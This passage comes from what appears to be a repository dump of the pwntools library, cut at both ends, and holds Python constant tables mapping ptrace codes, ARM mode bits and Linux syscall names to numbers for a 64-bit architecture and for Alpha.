Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nUSR26_MODE = Constant('USR26_MODE',0x00)\nFIQ26_MODE = Constant('FIQ26_MODE',0x01)\nIRQ26_MODE = Constant('IRQ26_MODE',0x02)\nSVC26_MODE = Constant('SVC26_MODE',0x03)\nUSR_MODE = Constant('USR_MODE',0x10)\nFIQ_MODE = Constant('FIQ_MODE',0x11)\nIRQ_MODE = Constant('IRQ_MODE',0x12)\nSVC_MODE = Constant('SVC_MODE',0x13)\nABT_MODE = Constant('ABT_MODE',0x17)\nUND_MODE = Constant('UND_MODE',0x1b)\nSYSTEM_MODE = Constant('SYSTEM_MODE',0x1f)\nMODE_MASK = Constant('MODE_MASK',0x1f)\nT_BIT = Constant('T_BIT',0x20)\nF_BIT = Constant('F_BIT',0x40)\nI_BIT = Constant('I_BIT',0x80)\nCC_V_BIT = Constant('CC_V_BIT',(1 << 28))\nCC_C_BIT = Constant('CC_C_BIT',(1 << 29))\nCC_Z_BIT = Constant('CC_Z_BIT',(1 << 30))\nCC_N_BIT = Constant('CC_N_BIT',(1 << 31))\nPCMASK = Constant('PCMASK',0)\nSYS_accept = Constant('SYS_accept',202)\nSYS_accept4 = Constant('SYS_accept4',242)\nSYS_acct = Constant('SYS_acct',89)\nSYS_add_key = Constant('SYS_add_key',217)\nSYS_adjtimex = Constant('SYS_adjtimex',171)\nSYS_arch_specific_syscall = Constant('SYS_arch_specific_syscall',244)\nSYS_bind = Constant('SYS_bind',200)\nSYS_bpf = Constant('SYS_bpf',280)\nSYS_brk = Constant('SYS_brk',214)\nSYS_capget = Constant('SYS_capget',90)\nSYS_capset = Constant('SYS_capset',91)\nSYS_chdir = Constant('SYS_chdir',49)\nSYS_chroot = Constant('SYS_chroot',51)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',266)\nSYS_clock_getres = Constant('SYS_clock_getres',114)\nSYS_clock_gettime = Constant('SYS_clock_gettime',113)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',115)\nSYS_clock_settime = Constant('SYS_clock_settime',112)\nSYS_clone = Constant('SYS_clone',220)\nSYS_clone3 = Constant('SYS_clone3',435)\nSYS_close = Constant('SYS_close',57)\nSYS_connect = Constant('SYS_connect',203)\nSYS_copy_file_range = Constant('SYS_copy_file_range',285)\nSYS_delete_module = Constant('SYS_delete_module',106)\nSYS_dup = Constant('SYS_dup',23)\nSYS_dup3 = Constant('SYS_dup3',24)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',20)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',21)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',22)\nSYS_eventfd2 = Constant('SYS_eventfd2',19)\nSYS_execve = Constant('SYS_execve',221)\nSYS_execveat = Constant('SYS_execveat',281)\nSYS_exit = Constant('SYS_exit',93)\nSYS_exit_group = Constant('SYS_exit_group',94)\nSYS_faccessat = Constant('SYS_faccessat',48)\nSYS_fadvise64 = Constant('SYS_fadvise64',223)\nSYS_fallocate = Constant('SYS_fallocate',47)\nSYS_fanotify_init = Constant('SYS_fanotify_init',262)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',263)\nSYS_fchdir = Constant('SYS_fchdir',50)\nSYS_fchmod = Constant('SYS_fchmod',52)\nSYS_fchmodat = Constant('SYS_fchmodat',53)\nSYS_fchown = Constant('SYS_fchown',55)\nSYS_fchownat = Constant('SYS_fchownat',54)\nSYS_fcntl = Constant('SYS_fcntl',25)\nSYS_fdatasync = Constant('SYS_fdatasync',83)\nSYS_fgetxattr = Constant('SYS_fgetxattr',10)\nSYS_finit_module = Constant('SYS_finit_module',273)\nSYS_flistxattr = Constant('SYS_flistxattr',13)\nSYS_flock = Constant('SYS_flock',32)\nSYS_fremovexattr = Constant('SYS_fremovexattr',16)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',7)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',80)\nSYS_fstatat = Constant('SYS_fstatat',79)\nSYS_fstatfs = Constant('SYS_fstatfs',44)\nSYS_fsync = Constant('SYS_fsync',82)\nSYS_ftruncate = Constant('SYS_ftruncate',46)\nSYS_futex = Constant('SYS_futex',98)\nSYS_getcpu = Constant('SYS_getcpu',168)\nSYS_getcwd = Constant('SYS_getcwd',17)\nSYS_getdents64 = Constant('SYS_getdents64',61)\nSYS_getegid = Constant('SYS_getegid',177)\nSYS_geteuid = Constant('SYS_geteuid',175)\nSYS_getgid = Constant('SYS_getgid',176)\nSYS_getgroups = Constant('SYS_getgroups',158)\nSYS_getitimer = Constant('SYS_getitimer',102)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',236)\nSYS_getpeername = Constant('SYS_getpeername',205)\nSYS_getpgid = Constant('SYS_getpgid',155)\nSYS_getpid = Constant('SYS_getpid',172)\nSYS_getppid = Constant('SYS_getppid',173)\nSYS_getpriority = Constant('SYS_getpriority',141)\nSYS_getrandom = Constant('SYS_getrandom',278)\nSYS_getresgid = Constant('SYS_getresgid',150)\nSYS_getresuid = Constant('SYS_getresuid',148)\nSYS_getrlimit = Constant('SYS_getrlimit',163)\nSYS_get_robust_list = Constant('SYS_get_robust_list',100)\nSYS_getrusage = Constant('SYS_getrusage',165)\nSYS_getsid = Constant('SYS_getsid',156)\nSYS_getsockname = Constant('SYS_getsockname',204)\nSYS_getsockopt = Constant('SYS_getsockopt',209)\nSYS_gettid = Constant('SYS_gettid',178)\nSYS_gettimeofday = Constant('SYS_gettimeofday',169)\nSYS_getuid = Constant('SYS_getuid',174)\nSYS_getxattr = Constant('SYS_getxattr',8)\nSYS_init_module = Constant('SYS_init_module',105)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',27)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',26)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',28)\nSYS_io_cancel = Constant('SYS_io_cancel',3)\nSYS_ioctl = Constant('SYS_ioctl',29)\nSYS_io_destroy = Constant('SYS_io_destroy',1)\nSYS_io_getevents = Constant('SYS_io_getevents',4)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',292)\nSYS_ioprio_get = Constant('SYS_ioprio_get',31)\nSYS_ioprio_set = Constant('SYS_ioprio_set',30)\nSYS_io_setup = Constant('SYS_io_setup',0)\nSYS_io_submit = Constant('SYS_io_submit',2)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_kcmp = Constant('SYS_kcmp',272)\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',294)\nSYS_kexec_load = Constant('SYS_kexec_load',104)\nSYS_keyctl = Constant('SYS_keyctl',219)\nSYS_kill = Constant('SYS_kill',129)\nSYS_lgetxattr = Constant('SYS_lgetxattr',9)\nSYS_linkat = Constant('SYS_linkat',37)\nSYS_listen = Constant('SYS_listen',201)\nSYS_listxattr = Constant('SYS_listxattr',11)\nSYS_llistxattr = Constant('SYS_llistxattr',12)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',18)\nSYS_lremovexattr = Constant('SYS_lremovexattr',15)\nSYS_lseek = Constant('SYS_lseek',62)\nSYS_lsetxattr = Constant('SYS_lsetxattr',6)\nSYS_madvise = Constant('SYS_madvise',233)\nSYS_mbind = Constant('SYS_mbind',235)\nSYS_membarrier = Constant('SYS_membarrier',283)\nSYS_memfd_create = Constant('SYS_memfd_create',279)\nSYS_migrate_pages = Constant('SYS_migrate_pages',238)\nSYS_mincore = Constant('SYS_mincore',232)\nSYS_mkdirat = Constant('SYS_mkdirat',34)\nSYS_mknodat = Constant('SYS_mknodat',33)\nSYS_mlock = Constant('SYS_mlock',228)\nSYS_mlock2 = Constant('SYS_mlock2',284)\nSYS_mlockall = Constant('SYS_mlockall',230)\nSYS_mmap = Constant('SYS_mmap',222)\nSYS_mount = Constant('SYS_mount',40)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',239)\nSYS_mprotect = Constant('SYS_mprotect',226)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',185)\nSYS_mq_notify = Constant('SYS_mq_notify',184)\nSYS_mq_open = Constant('SYS_mq_open',180)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',183)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',182)\nSYS_mq_unlink = Constant('SYS_mq_unlink',181)\nSYS_mremap = Constant('SYS_mremap',216)\nSYS_msgctl = Constant('SYS_msgctl',187)\nSYS_msgget = Constant('SYS_msgget',186)\nSYS_msgrcv = Constant('SYS_msgrcv',188)\nSYS_msgsnd = Constant('SYS_msgsnd',189)\nSYS_msync = Constant('SYS_msync',227)\nSYS_munlock = Constant('SYS_munlock',229)\nSYS_munlockall = Constant('SYS_munlockall',231)\nSYS_munmap = Constant('SYS_munmap',215)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',264)\nSYS_nanosleep = Constant('SYS_nanosleep',101)\nSYS_newfstatat = Constant('SYS_newfstatat',79)\nSYS_nfsservctl = Constant('SYS_nfsservctl',42)\nSYS_openat = Constant('SYS_openat',56)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',265)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_perf_event_open = Constant('SYS_perf_event_open',241)\nSYS_personality = Constant('SYS_personality',92)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe2 = Constant('SYS_pipe2',59)\nSYS_pivot_root = Constant('SYS_pivot_root',41)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',289)\nSYS_pkey_free = Constant('SYS_pkey_free',290)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',288)\nSYS_ppoll = Constant('SYS_ppoll',73)\nSYS_prctl = Constant('SYS_prctl',167)\nSYS_pread64 = Constant('SYS_pread64',67)\nSYS_preadv = Constant('SYS_preadv',69)\nSYS_preadv2 = Constant('SYS_preadv2',286)\nSYS_prlimit64 = Constant('SYS_prlimit64',261)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',270)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',271)\nSYS_pselect6 = Constant('SYS_pselect6',72)\nSYS_ptrace = Constant('SYS_ptrace',117)\nSYS_pwrite64 = Constant('SYS_pwrite64',68)\nSYS_pwritev = Constant('SYS_pwritev',70)\nSYS_pwritev2 = Constant('SYS_pwritev2',287)\nSYS_quotactl = Constant('SYS_quotactl',60)\nSYS_read = Constant('SYS_read',63)\nSYS_readahead = Constant('SYS_readahead',213)\nSYS_readlinkat = Constant('SYS_readlinkat',78)\nSYS_readv = Constant('SYS_readv',65)\nSYS_reboot = Constant('SYS_reboot',142)\nSYS_recvfrom = Constant('SYS_recvfrom',207)\nSYS_recvmmsg = Constant('SYS_recvmmsg',243)\nSYS_recvmsg = Constant('SYS_recvmsg',212)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',234)\nSYS_removexattr = Constant('SYS_removexattr',14)\nSYS_renameat = Constant('SYS_renameat',38)\nSYS_renameat2 = Constant('SYS_renameat2',276)\nSYS_request_key = Constant('SYS_request_key',218)\nSYS_restart_syscall = Constant('SYS_restart_syscall',128)\nSYS_rseq = Constant('SYS_rseq',293)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',134)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',136)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',135)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',138)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',139)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',133)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',137)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',240)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',123)\nSYS_sched_getattr = Constant('SYS_sched_getattr',275)\nSYS_sched_getparam = Constant('SYS_sched_getparam',121)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',125)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',126)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',120)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',127)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',122)\nSYS_sched_setattr = Constant('SYS_sched_setattr',274)\nSYS_sched_setparam = Constant('SYS_sched_setparam',118)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',119)\nSYS_sched_yield = Constant('SYS_sched_yield',124)\nSYS_seccomp = Constant('SYS_seccomp',277)\nSYS_semctl = Constant('SYS_semctl',191)\nSYS_semget = Constant('SYS_semget',190)\nSYS_semop = Constant('SYS_semop',193)\nSYS_semtimedop = Constant('SYS_semtimedop',192)\nSYS_sendfile = Constant('SYS_sendfile',71)\nSYS_sendmmsg = Constant('SYS_sendmmsg',269)\nSYS_sendmsg = Constant('SYS_sendmsg',211)\nSYS_sendto = Constant('SYS_sendto',206)\nSYS_setdomainname = Constant('SYS_setdomainname',162)\nSYS_setfsgid = Constant('SYS_setfsgid',152)\nSYS_setfsuid = Constant('SYS_setfsuid',151)\nSYS_setgid = Constant('SYS_setgid',144)\nSYS_setgroups = Constant('SYS_setgroups',159)\nSYS_sethostname = Constant('SYS_sethostname',161)\nSYS_setitimer = Constant('SYS_setitimer',103)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',237)\nSYS_setns = Constant('SYS_setns',268)\nSYS_setpgid = Constant('SYS_setpgid',154)\nSYS_setpriority = Constant('SYS_setpriority',140)\nSYS_setregid = Constant('SYS_setregid',143)\nSYS_setresgid = Constant('SYS_setresgid',149)\nSYS_setresuid = Constant('SYS_setresuid',147)\nSYS_setreuid = Constant('SYS_setreuid',145)\nSYS_setrlimit = Constant('SYS_setrlimit',164)\nSYS_set_robust_list = Constant('SYS_set_robust_list',99)\nSYS_setsid = Constant('SYS_setsid',157)\nSYS_setsockopt = Constant('SYS_setsockopt',208)\nSYS_set_tid_address = Constant('SYS_set_tid_address',96)\nSYS_settimeofday = Constant('SYS_settimeofday',170)\nSYS_setuid = Constant('SYS_setuid',146)\nSYS_setxattr = Constant('SYS_setxattr',5)\nSYS_shmat = Constant('SYS_shmat',196)\nSYS_shmctl = Constant('SYS_shmctl',195)\nSYS_shmdt = Constant('SYS_shmdt',197)\nSYS_shmget = Constant('SYS_shmget',194)\nSYS_shutdown = Constant('SYS_shutdown',210)\nSYS_sigaltstack = Constant('SYS_sigaltstack',132)\nSYS_signalfd4 = Constant('SYS_signalfd4',74)\nSYS_socket = Constant('SYS_socket',198)\nSYS_socketpair = Constant('SYS_socketpair',199)\nSYS_splice = Constant('SYS_splice',76)\nSYS_statfs = Constant('SYS_statfs',43)\nSYS_statx = Constant('SYS_statx',291)\nSYS_swapoff = Constant('SYS_swapoff',225)\nSYS_swapon = Constant('SYS_swapon',224)\nSYS_symlinkat = Constant('SYS_symlinkat',36)\nSYS_sync = Constant('SYS_sync',81)\nSYS_sync_file_range = Constant('SYS_sync_file_range',84)\nSYS_syncfs = Constant('SYS_syncfs',267)\nSYS_sysinfo = Constant('SYS_sysinfo',179)\nSYS_syslog = Constant('SYS_syslog',116)\nSYS_tee = Constant('SYS_tee',77)\nSYS_tgkill = Constant('SYS_tgkill',131)\nSYS_timer_create = Constant('SYS_timer_create',107)\nSYS_timer_delete = Constant('SYS_timer_delete',111)\nSYS_timerfd_create = Constant('SYS_timerfd_create',85)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',87)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',86)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',109)\nSYS_timer_gettime = Constant('SYS_timer_gettime',108)\nSYS_timer_settime = Constant('SYS_timer_settime',110)\nSYS_times = Constant('SYS_times',153)\nSYS_tkill = Constant('SYS_tkill',130)\nSYS_truncate = Constant('SYS_truncate',45)\nSYS_umask = Constant('SYS_umask',166)\nSYS_umount2 = Constant('SYS_umount2',39)\nSYS_uname = Constant('SYS_uname',160)\nSYS_unlinkat = Constant('SYS_unlinkat',35)\nSYS_unshare = Constant('SYS_unshare',97)\nSYS_userfaultfd = Constant('SYS_userfaultfd',282)\nSYS_utimensat = Constant('SYS_utimensat',88)\nSYS_vhangup = Constant('SYS_vhangup',58)\nSYS_vmsplice = Constant('SYS_vmsplice',75)\nSYS_wait4 = Constant('SYS_wait4',260)\nSYS_waitid = Constant('SYS_waitid',95)\nSYS_write = Constant('SYS_write',64)\nSYS_writev = Constant('SYS_writev',66)\n"
  },
  {
    "path": "pwnlib/constants/linux/alpha.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_osf_syscall = Constant('__NR_osf_syscall',0)\n__NR_exit = Constant('__NR_exit',1)\n__NR_fork = Constant('__NR_fork',2)\n__NR_read = Constant('__NR_read',3)\n__NR_write = Constant('__NR_write',4)\n__NR_osf_old_open = Constant('__NR_osf_old_open',5)\n__NR_close = Constant('__NR_close',6)\n__NR_osf_wait4 = Constant('__NR_osf_wait4',7)\n__NR_osf_old_creat = Constant('__NR_osf_old_creat',8)\n__NR_link = Constant('__NR_link',9)\n__NR_unlink = Constant('__NR_unlink',10)\n__NR_osf_execve = Constant('__NR_osf_execve',11)\n__NR_chdir = Constant('__NR_chdir',12)\n__NR_fchdir = Constant('__NR_fchdir',13)\n__NR_mknod = Constant('__NR_mknod',14)\n__NR_chmod = Constant('__NR_chmod',15)\n__NR_chown = Constant('__NR_chown',16)\n__NR_brk = Constant('__NR_brk',17)\n__NR_osf_getfsstat = Constant('__NR_osf_getfsstat',18)\n__NR_lseek = Constant('__NR_lseek',19)\n__NR_getxpid = Constant('__NR_getxpid',20)\n__NR_osf_mount = Constant('__NR_osf_mount',21)\n__NR_umount = Constant('__NR_umount',22)\n__NR_setuid = Constant('__NR_setuid',23)\n__NR_getxuid = Constant('__NR_getxuid',24)\n__NR_exec_with_loader = Constant('__NR_exec_with_loader',25)\n__NR_ptrace = Constant('__NR_ptrace',26)\n__NR_osf_nrecvmsg = Constant('__NR_osf_nrecvmsg',27)\n__NR_osf_nsendmsg = Constant('__NR_osf_nsendmsg',28)\n__NR_osf_nrecvfrom = Constant('__NR_osf_nrecvfrom',29)\n__NR_osf_naccept = Constant('__NR_osf_naccept',30)\n__NR_osf_ngetpeername = Constant('__NR_osf_ngetpeername',31)\n__NR_osf_ngetsockname = Constant('__NR_osf_ngetsockname',32)\n__NR_access = Constant('__NR_access',33)\n__NR_osf_chflags = Constant('__NR_osf_chflags',34)\n__NR_osf_fchflags = Constant('__NR_osf_fchflags',35)\n__NR_sync = Constant('__NR_sync',36)\n__NR_kill = Constant('__NR_kill',37)\n__NR_osf_old_stat = Constant('__NR_osf_old_stat',38)\n__NR_setpgid = Constant('__NR_setpgid',39)\n__NR_osf_old_lstat = Constant('__NR_osf_old_lstat',40)\n__NR_dup = Constant('__NR_dup',41)\n__NR_pipe = Constant('__NR_pipe',42)\n__NR_osf_set_program_attributes = Constant('__NR_osf_set_program_attributes',43)\n__NR_osf_profil = Constant('__NR_osf_profil',44)\n__NR_open = Constant('__NR_open',45)\n__NR_osf_old_sigaction = Constant('__NR_osf_old_sigaction',46)\n__NR_getxgid = Constant('__NR_getxgid',47)\n__NR_osf_sigprocmask = Constant('__NR_osf_sigprocmask',48)\n__NR_osf_getlogin = Constant('__NR_osf_getlogin',49)\n__NR_osf_setlogin = Constant('__NR_osf_setlogin',50)\n__NR_acct = Constant('__NR_acct',51)\n__NR_sigpending = Constant('__NR_sigpending',52)\n__NR_ioctl = Constant('__NR_ioctl',54)\n__NR_osf_reboot = Constant('__NR_osf_reboot',55)\n__NR_osf_revoke = Constant('__NR_osf_revoke',56)\n__NR_symlink = Constant('__NR_symlink',57)\n__NR_readlink = Constant('__NR_readlink',58)\n__NR_execve = Constant('__NR_execve',59)\n__NR_umask = Constant('__NR_umask',60)\n__NR_chroot = Constant('__NR_chroot',61)\n__NR_osf_old_fstat = Constant('__NR_osf_old_fstat',62)\n__NR_getpgrp = Constant('__NR_getpgrp',63)\n__NR_getpagesize = Constant('__NR_getpagesize',64)\n__NR_osf_mremap = Constant('__NR_osf_mremap',65)\n__NR_vfork = Constant('__NR_vfork',66)\n__NR_stat = Constant('__NR_stat',67)\n__NR_lstat = Constant('__NR_lstat',68)\n__NR_osf_sbrk = Constant('__NR_osf_sbrk',69)\n__NR_osf_sstk = Constant('__NR_osf_sstk',70)\n__NR_mmap = Constant('__NR_mmap',71)\n__NR_osf_old_vadvise = Constant('__NR_osf_old_vadvise',72)\n__NR_munmap = Constant('__NR_munmap',73)\n__NR_mprotect = Constant('__NR_mprotect',74)\n__NR_madvise = Constant('__NR_madvise',75)\n__NR_vhangup = Constant('__NR_vhangup',76)\n__NR_osf_kmodcall = Constant('__NR_osf_kmodcall',77)\n__NR_osf_mincore = Constant('__NR_osf_mincore',78)\n__NR_getgroups = Constant('__NR_getgroups',79)\n__NR_setgroups = Constant('__NR_setgroups',80)\n__NR_osf_old_getpgrp = Constant('__NR_osf_old_getpgrp',81)\n__NR_setpgrp = Constant('__NR_setpgrp',82)\n__NR_osf_setitimer = Constant('__NR_osf_setitimer',83)\n__NR_osf_old_wait = Constant('__NR_osf_old_wait',84)\n__NR_osf_table = Constant('__NR_osf_table',85)\n__NR_osf_getitimer = Constant('__NR_osf_getitimer',86)\n__NR_gethostname = Constant('__NR_gethostname',87)\n__NR_sethostname = Constant('__NR_sethostname',88)\n__NR_getdtablesize = Constant('__NR_getdtablesize',89)\n__NR_dup2 = Constant('__NR_dup2',90)\n__NR_fstat = Constant('__NR_fstat',91)\n__NR_fcntl = Constant('__NR_fcntl',92)\n__NR_osf_select = Constant('__NR_osf_select',93)\n__NR_poll = Constant('__NR_poll',94)\n__NR_fsync = Constant('__NR_fsync',95)\n__NR_setpriority = Constant('__NR_setpriority',96)\n__NR_socket = Constant('__NR_socket',97)\n__NR_connect = Constant('__NR_connect',98)\n__NR_accept = Constant('__NR_accept',99)\n__NR_getpriority = Constant('__NR_getpriority',100)\n__NR_send = Constant('__NR_send',101)\n__NR_recv = Constant('__NR_recv',102)\n__NR_sigreturn = Constant('__NR_sigreturn',103)\n__NR_bind = Constant('__NR_bind',104)\n__NR_setsockopt = Constant('__NR_setsockopt',105)\n__NR_listen = Constant('__NR_listen',106)\n__NR_osf_plock = Constant('__NR_osf_plock',107)\n__NR_osf_old_sigvec = Constant('__NR_osf_old_sigvec',108)\n__NR_osf_old_sigblock = Constant('__NR_osf_old_sigblock',109)\n__NR_osf_old_sigsetmask = Constant('__NR_osf_old_sigsetmask',110)\n__NR_sigsuspend = Constant('__NR_sigsuspend',111)\n__NR_osf_sigstack = Constant('__NR_osf_sigstack',112)\n__NR_recvmsg = Constant('__NR_recvmsg',113)\n__NR_sendmsg = Constant('__NR_sendmsg',114)\n__NR_osf_old_vtrace = Constant('__NR_osf_old_vtrace',115)\n__NR_osf_gettimeofday = Constant('__NR_osf_gettimeofday',116)\n__NR_osf_getrusage = Constant('__NR_osf_getrusage',117)\n__NR_getsockopt = Constant('__NR_getsockopt',118)\n__NR_readv = Constant('__NR_readv',120)\n__NR_writev = Constant('__NR_writev',121)\n__NR_osf_settimeofday = Constant('__NR_osf_settimeofday',122)\n__NR_fchown = Constant('__NR_fchown',123)\n__NR_fchmod = Constant('__NR_fchmod',124)\n__NR_recvfrom = Constant('__NR_recvfrom',125)\n__NR_setreuid = Constant('__NR_setreuid',126)\n__NR_setregid = Constant('__NR_setregid',127)\n__NR_rename = Constant('__NR_rename',128)\n__NR_truncate = Constant('__NR_truncate',129)\n__NR_ftruncate = Constant('__NR_ftruncate',130)\n__NR_flock = Constant('__NR_flock',131)\n__NR_setgid = Constant('__NR_setgid',132)\n__NR_sendto = Constant('__NR_sendto',133)\n__NR_shutdown = Constant('__NR_shutdown',134)\n__NR_socketpair = Constant('__NR_socketpair',135)\n__NR_mkdir = Constant('__NR_mkdir',136)\n__NR_rmdir = Constant('__NR_rmdir',137)\n__NR_osf_utimes = Constant('__NR_osf_utimes',138)\n__NR_osf_old_sigreturn = Constant('__NR_osf_old_sigreturn',139)\n__NR_osf_adjtime = Constant('__NR_osf_adjtime',140)\n__NR_getpeername = Constant('__NR_getpeername',141)\n__NR_osf_gethostid = Constant('__NR_osf_gethostid',142)\n__NR_osf_sethostid = Constant('__NR_osf_sethostid',143)\n__NR_getrlimit = Constant('__NR_getrlimit',144)\n__NR_setrlimit = Constant('__NR_setrlimit',145)\n__NR_osf_old_killpg = Constant('__NR_osf_old_killpg',146)\n__NR_setsid = Constant('__NR_setsid',147)\n__NR_quotactl = Constant('__NR_quotactl',148)\n__NR_osf_oldquota = Constant('__NR_osf_oldquota',149)\n__NR_getsockname = Constant('__NR_getsockname',150)\n__NR_osf_pid_block = Constant('__NR_osf_pid_block',153)\n__NR_osf_pid_unblock = Constant('__NR_osf_pid_unblock',154)\n__NR_sigaction = Constant('__NR_sigaction',156)\n__NR_osf_sigwaitprim = Constant('__NR_osf_sigwaitprim',157)\n__NR_osf_nfssvc = Constant('__NR_osf_nfssvc',158)\n__NR_osf_getdirentries = Constant('__NR_osf_getdirentries',159)\n__NR_osf_statfs = Constant('__NR_osf_statfs',160)\n__NR_osf_fstatfs = Constant('__NR_osf_fstatfs',161)\n__NR_osf_asynch_daemon = Constant('__NR_osf_asynch_daemon',163)\n__NR_osf_getfh = Constant('__NR_osf_getfh',164)\n__NR_osf_getdomainname = Constant('__NR_osf_getdomainname',165)\n__NR_setdomainname = Constant('__NR_setdomainname',166)\n__NR_osf_exportfs = Constant('__NR_osf_exportfs',169)\n__NR_osf_alt_plock = Constant('__NR_osf_alt_plock',181)\n__NR_osf_getmnt = Constant('__NR_osf_getmnt',184)\n__NR_osf_alt_sigpending = Constant('__NR_osf_alt_sigpending',187)\n__NR_osf_alt_setsid = Constant('__NR_osf_alt_setsid',188)\n__NR_osf_swapon = Constant('__NR_osf_swapon',199)\n__NR_msgctl = Constant('__NR_msgctl',200)\n__NR_msgget = Constant('__NR_msgget',201)\n__NR_msgrcv = Constant('__NR_msgrcv',202)\n__NR_msgsnd = Constant('__NR_msgsnd',203)\n__NR_semctl = Constant('__NR_semctl',204)\n__NR_semget = Constant('__NR_semget',205)\n__NR_semop = Constant('__NR_semop',206)\n__NR_osf_utsname = Constant('__NR_osf_utsname',207)\n__NR_lchown = Constant('__NR_lchown',208)\n__NR_osf_shmat = Constant('__NR_osf_shmat',209)\n__NR_shmctl = Constant('__NR_shmctl',210)\n__NR_shmdt = Constant('__NR_shmdt',211)\n__NR_shmget = Constant('__NR_shmget',212)\n__NR_osf_mvalid = Constant('__NR_osf_mvalid',213)\n__NR_osf_getaddressconf = Constant('__NR_osf_getaddressconf',214)\n__NR_osf_msleep = Constant('__NR_osf_msleep',215)\n__NR_osf_mwakeup = Constant('__NR_osf_mwakeup',216)\n__NR_msync = Constant('__NR_msync',217)\n__NR_osf_signal = Constant('__NR_osf_signal',218)\n__NR_osf_utc_gettime = Constant('__NR_osf_utc_gettime',219)\n__NR_osf_utc_adjtime = Constant('__NR_osf_utc_adjtime',220)\n__NR_osf_security = Constant('__NR_osf_security',222)\n__NR_osf_kloadcall = Constant('__NR_osf_kloadcall',223)\n__NR_getpgid = Constant('__NR_getpgid',233)\n__NR_getsid = Constant('__NR_getsid',234)\n__NR_sigaltstack = Constant('__NR_sigaltstack',235)\n__NR_osf_waitid = Constant('__NR_osf_waitid',236)\n__NR_osf_priocntlset = Constant('__NR_osf_priocntlset',237)\n__NR_osf_sigsendset = Constant('__NR_osf_sigsendset',238)\n__NR_osf_set_speculative = Constant('__NR_osf_set_speculative',239)\n__NR_osf_msfs_syscall = Constant('__NR_osf_msfs_syscall',240)\n__NR_osf_sysinfo = Constant('__NR_osf_sysinfo',241)\n__NR_osf_uadmin = Constant('__NR_osf_uadmin',242)\n__NR_osf_fuser = Constant('__NR_osf_fuser',243)\n__NR_osf_proplist_syscall = Constant('__NR_osf_proplist_syscall',244)\n__NR_osf_ntp_adjtime = Constant('__NR_osf_ntp_adjtime',245)\n__NR_osf_ntp_gettime = Constant('__NR_osf_ntp_gettime',246)\n__NR_osf_pathconf = Constant('__NR_osf_pathconf',247)\n__NR_osf_fpathconf = Constant('__NR_osf_fpathconf',248)\n__NR_osf_uswitch = Constant('__NR_osf_uswitch',250)\n__NR_osf_usleep_thread = Constant('__NR_osf_usleep_thread',251)\n__NR_osf_audcntl = Constant('__NR_osf_audcntl',252)\n__NR_osf_audgen = Constant('__NR_osf_audgen',253)\n__NR_sysfs = Constant('__NR_sysfs',254)\n__NR_osf_subsys_info = Constant('__NR_osf_subsys_info',255)\n__NR_osf_getsysinfo = Constant('__NR_osf_getsysinfo',256)\n__NR_osf_setsysinfo = Constant('__NR_osf_setsysinfo',257)\n__NR_osf_afs_syscall = Constant('__NR_osf_afs_syscall',258)\n__NR_osf_swapctl = Constant('__NR_osf_swapctl',259)\n__NR_osf_memcntl = Constant('__NR_osf_memcntl',260)\n__NR_osf_fdatasync = Constant('__NR_osf_fdatasync',261)\n__NR_umount_with_flags = 